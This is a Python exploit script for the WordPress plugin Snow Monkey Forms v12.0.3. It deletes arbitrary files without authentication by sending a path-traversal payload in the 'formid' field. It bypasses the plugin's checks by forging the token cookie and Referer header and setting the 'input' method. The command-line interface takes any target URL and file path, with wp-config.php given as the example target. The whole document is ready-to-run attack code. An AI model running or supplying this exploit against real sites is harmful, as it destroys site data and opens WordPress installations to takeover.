import argparse import requests import sys from urllib.parse import urlparse # Banner def banner(): print(""" ########################################################################### # Snow Monkey Forms - Unauthenticated Arbitrary File Deletion Exploit # # Vulnerability: Path Traversal via 'formid' parameter # # Impact: Critical (Unauthenticated file deletion) # # Tested on: Snow Monkey Forms v12.0.3 # ########################################################################### """) def exploit(target_url, file_path): # API Endpoint api_endpoint = "/wp-json/snow-monkey-form/v1/view" full_url = target_url.rstrip('/') + api_endpoint # Parse target URL to construct valid Referer parsed_uri = urlparse(target_url) base_url = f"{parsed_uri.scheme}://{parsed_uri.netloc}/" # 1. Bypass Regex Check for Token # The plugin checks if the cookie token matches ^[a-z0-9]+$ # We set a static alphanumeric token. cookies = { "_snow-monkey-forms-token": "poc12345" } # 2. Bypass Referer Check # The plugin checks if the Referer header starts with the site home URL. headers = { "User-Agent": "Mozilla/5.0 (Security Testing)", "Referer": base_url } # 3. Payload Construction # 'method': 'input' -> Bypasses the CSRF verification in View.php # 'formid': The path traversal payload pointing to the file to delete. # The base path is usually wp-content/uploads/smf-uploads// # We use enough '../' to reach the root or target file. data = { "snow-monkey-forms-meta[method]": "input", "snow-monkey-forms-meta[formid]": file_path } print(f"[*] Target: {full_url}") print(f"[*] Target File Payload: {file_path}") print(f"[*] Sending malicious request...") try: # Using verify=False to ignore SSL cert errors for testing response = requests.post(full_url, cookies=cookies, headers=headers, data=data, verify=False) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] The server processed the 'input' method.") print("[!] If the path was correct and write permissions allowed, the file should be deleted.") print("[*] Server Response:", response.text) elif response.status_code == 403: print("[-] Failed: 403 Forbidden. The Referer check might have failed.") else: print(f"[-] Unexpected status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Connection Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Snow Monkey Forms Unauth File Deletion PoC") parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress site (e.g., http://target.local)") parser.add_argument("-f", "--file", required=True, help="Relative path to file to delete (e.g., ../../../../wp-config.php)") args = parser.parse_args() banner() exploit(args.url, args.file)